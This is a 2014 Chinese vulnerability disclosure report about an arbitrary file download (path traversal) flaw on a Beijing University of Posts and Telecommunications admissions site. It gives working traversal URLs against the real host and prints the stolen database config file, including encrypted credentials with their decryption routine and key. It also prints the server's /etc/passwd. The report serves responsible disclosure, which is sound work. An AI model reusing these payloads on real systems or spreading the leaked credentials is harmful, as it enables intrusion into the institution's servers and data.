2014-07-30: 细节已通知厂商并且等待厂商处理中 2014-08-01: 厂商已经确认,细节仅向厂商公开 2014-08-11: 细节向核心白帽子及相关领域专家公开 2014-08-21: 细节向普通白帽子公开 2014-08-31: 细节向实习白帽子公开 2014-09-13: 细节向公众公开
北邮某网站任意文件下载
网站上存在的下载链接:http://www.yzb.bupt.cn/admin_upload.php?a1=%BF%BC%C9%FA%D2%E2%CF%F2%B1%ED.doc构造如下链接可下载数据库连接文件:http://www.yzb.bupt.cn/admin_upload.php?a1=../php/student1.php下载passwd文件链接:http://www.yzb.bupt.cn/admin_upload.php?a1=../../../../../etc/passwd
数据库连接文件:http://www.yzb.bupt.cn/admin_upload.php?a1=../php/student1.php
<?phpclass student1{ public $database ="UTPZrPh90lZJfX6"; public $hostname ="oW6tsYyk8AlW2Yx"; public $xsdl_XH = "9uD93oHgbYktwlT"; public $password = "kjtumiKC-Q5RbMIIfcHaOOF"; var $connect; function __construct() { $this->database=$this->decrypt($this->database, $key = 'do not be silly!'); $this->hostname=$this->decrypt($this->hostname, $key = 'do not be silly!'); $this->xsdl_XH=$this->decrypt($this->xsdl_XH, $key = 'do not be silly!'); $this->password=$this->decrypt($this->password, $key = 'do not be silly!'); $this->connect =mysql_connect($this->hostname,$this->xsdl_XH,$this->password) or die("connect to MySQL failed!"); mysql_select_db($this->database,$this->connect); mysql_query("SET NAMES gbk"); } function enumget($ZD,$TABLE) { $query="show columns from $TABLE like '$ZD'"; $result=mysql_db_query("db_yjszs",$query); $enum=mysql_result($result,0,"type"); $enum_arr=explode("('",$enum); $enum=$enum_arr[1]; $enum_arr=explode("')",$enum); $enum=$enum_arr[0]; $enum_arr=explode("','",$enum); return $enum_arr; } /*******提取表格内容组成下拉列表,$NAME为字段名,$TABLE为表格名称,返回值为表格id字段和name字段******/ function selectget($TABLE) { $result = mysql_query("SELECT * FROM `$TABLE` "); $i=0; while ($arr = mysql_fetch_array($result)) { $name[$i]= $arr[1]; $i += 1; } return $name; } function decrypt($txt, $key = 'do not be silly!') { $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_."; $ikey =md5($chars); $knum = 0;$i = 0; $tlen = strlen($txt); while(isset($key{$i})) $knum +=ord($key{$i++}); $ch1 = $txt{$knum % $tlen}; $nh1 = strpos($chars,$ch1); $txt = substr_replace($txt,'',$knum % $tlen--,1); $ch2 = $txt{$nh1 % $tlen}; $nh2 = strpos($chars,$ch2); $txt = substr_replace($txt,'',$nh1 % $tlen--,1);//空格替换即为删除 $ch3 = $txt{$nh2 % $tlen}; $nh3 = strpos($chars,$ch3); $txt = substr_replace($txt,'',$nh2 % $tlen--,1); $nhnum = $nh1 + $nh2 + $nh3; $mdKey = substr(md5(md5(md5($key.$ch1).$ch2.$ikey).$ch3),$nhnum % 8,$knum % 8 + 16); $tmp = ''; $j=0; $k = 0; $tlen = strlen($txt); $klen = strlen($mdKey); for ($i=0; $i<$tlen; $i++) { $k = $k == $klen ? 0 : $k; $j = strpos($chars,$txt{$i})-$nhnum - ord($mdKey{$k++}); while ($j<0) $j+=64; $tmp .= $chars{$j}; } $tmp = str_replace(array('-','_','.'),array('+','/','='),$tmp); return trim(base64_decode($tmp)); } function student_session_check() { session_start(); if ((isset($_SESSION['Y_USERID']))&& ($_SESSION['Y_STUDENT'] == 1)) echo ""; else //header("location: employInform.html?"); echo("<script type='text/javascript'> alert('你尚未登录,请先登录!');location.href='postgraduate.php';</script>"); } function admin_session_check() { session_start(); if ((isset($_SESSION['Y_USERID']))&& ($_SESSION['Y_STUDENT'] == 0)) echo ""; else //header("location: employInform.html?"); echo("<script type='text/javascript'> alert('你尚未登录,请先登录!');location.href='postgraduate.php';</script>"); } /***********打印option的函数,option_pr($NAME数组变量,$houaq默认值,$k步进值,$i起始值)**********/ function option_pr($NAME,$houaq,$k,$i) { do { if (($NAME[$i] == $houaq)||(($houaq == "")&&($i==0))) echo "<option value=\"$NAME[$i]\" selected>$NAME[$i]</option>"; else echo "<option value=\"$NAME[$i]\">$NAME[$i]</option>"; $i= $i+$k; }while ($i< count($NAME)); return $str; } function option_pr1($NAME,$k,$i) { $i=0; do { echo "<option value=\"$NAME[$i]\">$NAME[$i]</option>"; $i= $i+$k; }while ($i< count($NAME)); return $str; }//过滤数字 function num_filter($num) { $res=is_numeric($num); if($res == False) { echo("<script type='text/javascript'> alert('非法输入!');location.href='error.php';</script>"); exit(); } } //过滤字符 function str_filter($str) { $refuse_str="select|update|from|where|order|*|delete|'|insert|values|create|table|database"; $arr=explode("|",$refuse_str); for($i=0;$i<count($arr);$i++) { if(@eregi($arr[$i],$str))//不区分大小写 { echo("<script type='text/javascript'> alert('非法输入!');location.href='error.php';</script>"); //return 1; exit(); } } } function __destruct() { mysql_close($this->connect); } } ?>
下载passwd文件链接:http://www.yzb.bupt.cn/admin_upload.php?a1=../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinnews:x:9:13:news:/etc/news:uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologingopher:x:13:30:gopher:/var/gopher:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologinnscd:x:28:28:NSCD Daemon:/:/sbin/nologinvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologinrpc:x:32:32:Portmapper RPC user:/:/sbin/nologinmailnull:x:47:47::/var/spool/mqueue:/sbin/nologinsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologinpcap:x:77:77::/var/arpwatch:/sbin/nologinntp:x:38:38::/etc/ntp:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinavahi:x:70:70:Avahi daemon:/:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologinrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologinnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologinhaldaemon:x:68:68:HAL daemon:/:/sbin/nologinavahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologindistcache:x:94:94:Distcache:/:/sbin/nologinapache:x:48:48:Apache:/var/www:/sbin/nologinoprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologinwebalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologindovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologinsquid:x:23:23::/var/spool/squid:/sbin/nologinmysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bashxfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologinnamed:x:25:25:Named:/var/named:/sbin/nologingdm:x:42:42::/var/gdm:/sbin/nologinsabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologinftpadmin:x:500:50::/home/ftpadmin:/bin/bashzhaosheng:x:502:505::/var/www/html/:/bin/bash
貌似北邮会忽略,仅测试下载漏洞,未深入挖洞,鉴于研究生招生网可以发布招生信息公告,早早修复
危害等级:中
漏洞Rank:6
确认时间:2014-08-01 14:19
通知用户处理中
暂无